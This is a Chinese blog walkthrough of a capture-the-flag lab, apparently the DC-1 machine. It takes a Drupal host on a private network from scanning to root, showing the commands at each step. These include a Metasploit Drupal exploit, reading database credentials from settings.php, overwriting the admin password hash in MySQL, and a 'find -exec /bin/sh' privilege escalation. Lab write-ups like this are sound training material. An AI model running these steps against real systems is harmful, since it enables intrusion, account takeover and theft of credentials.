扫描全网段,找到存活主机,ip为192.168.85.140
nmap 192.168.85.0/24
![](https://i-blog.csdnimg.cn/blog_migrate/9575c2e1df9add88f3bd94764e9e3f9e.png)
发现有80端口开放,访问以下
![](https://i-blog.csdnimg.cn/blog_migrate/31033b60b0015e34b950f23bbd2b83ee.png)
3.利用wappalyer看中间件,使用了drupal
![](https://i-blog.csdnimg.cn/blog_migrate/a7dbbb842fb4581bc8be036348c1d18a.png)
4.使用kali搜索drupal的漏洞,并利用
msfconsole #打开msf
search drupal #搜索和drupal相关的信息
使用第一个exp
use 1
show options #查看要配置的参数
这个地方yes是必填项,rport需要改成1898
set rhosts 192.168.85.140 #设置目标ip
run #运行
成功获取meterpreter
![](https://i-blog.csdnimg.cn/blog_migrate/0e9856bc0a6ed27ef6e698c6633300f1.png)
查看权限
getuid
![](https://i-blog.csdnimg.cn/blog_migrate/aa3608181902291152485ae3de8e8ade.png)
python -c 'import pty;pty.spawn("/bin/bash")' #使用python创建交换式shell
查看当前目录下的文件,并查看flag1.txt文件
ls
cat flag.txt
![](https://i-blog.csdnimg.cn/blog_migrate/20f4e1bf907f4ff835cb0cff03af419d.png)
flag1.txt意思是所有cms都需要配置文件,你也一样,需要找配置文件
配置文件可能是config之类的或者setting之类的,config没看到重要的文件
find / -name 'conf*'
或者
find / -name 'setting*'
![](https://i-blog.csdnimg.cn/blog_migrate/32a2d5ea5b18a2e9a3543a2f9f855b44.png)
看到settings.php,查看此文件
cat ./sites/default/settings.php
![](https://i-blog.csdnimg.cn/blog_migrate/05bf8302d29589f2ef845edcbf7f7ad2.png)
看到flag2.txt,意思是暴力破解和字典攻击不是唯一进入的方法(你需要权限时),你可以尝试那些凭证做什么
发现下方有配置信息,像是mysql
用户名: dbuser
密码: R0ck3t
查看一下端口开放情况
nestat -anlpt
![](https://i-blog.csdnimg.cn/blog_migrate/30678d143f4fbb3138c4c40a263ab030.png)
发现3306时开启的,登录mysql
mysql -udbuser -pR0ck3t
查数据库:
show databases;
![](https://i-blog.csdnimg.cn/blog_migrate/c866b3cd9c579fc6698552aaeb89eac7.png)
查数据表:
use drupaldb;
show tables;
![](https://i-blog.csdnimg.cn/blog_migrate/1f9c86fde7221b55ae136ed36bd25356.png)
发现users,查数据:
select * from users;
![](https://i-blog.csdnimg.cn/blog_migrate/7f9625c91eb47c7a00181b6ec1fb80b8.png)
不知道什么加密,看一下有没有加密脚本
find / -name 'pass*'
![](https://i-blog.csdnimg.cn/blog_migrate/a027d9292b3477a709f2d61a651ae46d.png)
发现脚本,运行一下脚本
./scripts/password-hash.sh 123456
加密后的值和mysql中的很像,加密后的值
$S$DXULlaGXubXoeo0H5wlwzwpN703KiOmeccTsbpbMUFdJ0CqnSucM
![](https://i-blog.csdnimg.cn/blog_migrate/ac71f39ce2a3f5b36d6f7e2b54a5dfbb.png)
不知道为什么进入到scripts目录运行就出错:
![](https://i-blog.csdnimg.cn/blog_migrate/c5354468342a6282e606dd64750ba29f.png)
再次登录进入到mysql,改密码
mysql -udbuser -pR0ck3t
use drupaldb;
update users set pass='$S$DXULlaGXubXoeo0H5wlwzwpN703KiOmeccTsbpbMUFdJ0CqnSucM' where uid=1;
web界面登录
admin
123456
在登录后找一下flag
![](https://i-blog.csdnimg.cn/blog_migrate/581ea2630a2bada44dfe22e079f16d8b.png)
![](https://i-blog.csdnimg.cn/blog_migrate/46004ffaee9fc180e4f30cecd06c96f0.png)
flag3.txt意思是特殊的PERMS 将帮助查找passwd——但是您需要-exec 该命令来确定如何获取shadow中的内容。
查看/etc/passwd:
cat /etc/passwd
![](https://i-blog.csdnimg.cn/blog_migrate/5a75b42737220655db3f527e40ec05ff.png)
查看flag4.txt
cat /home/flag4/flag4.txt
![](https://i-blog.csdnimg.cn/blog_migrate/f9d125edacbd120203f269d4eb31eaf9.png)
意思是可以使用和find相同的方法去获取root目录下的flag
find提权
find . -exec '/bin/sh' \; #反弹本地
![](https://i-blog.csdnimg.cn/blog_migrate/c653fc6d534dab791c261cc7312305ff.png)
反弹shell生成命令:
[~]#棱角 ::Edge.Forum* (ywhack.com)
参考文章: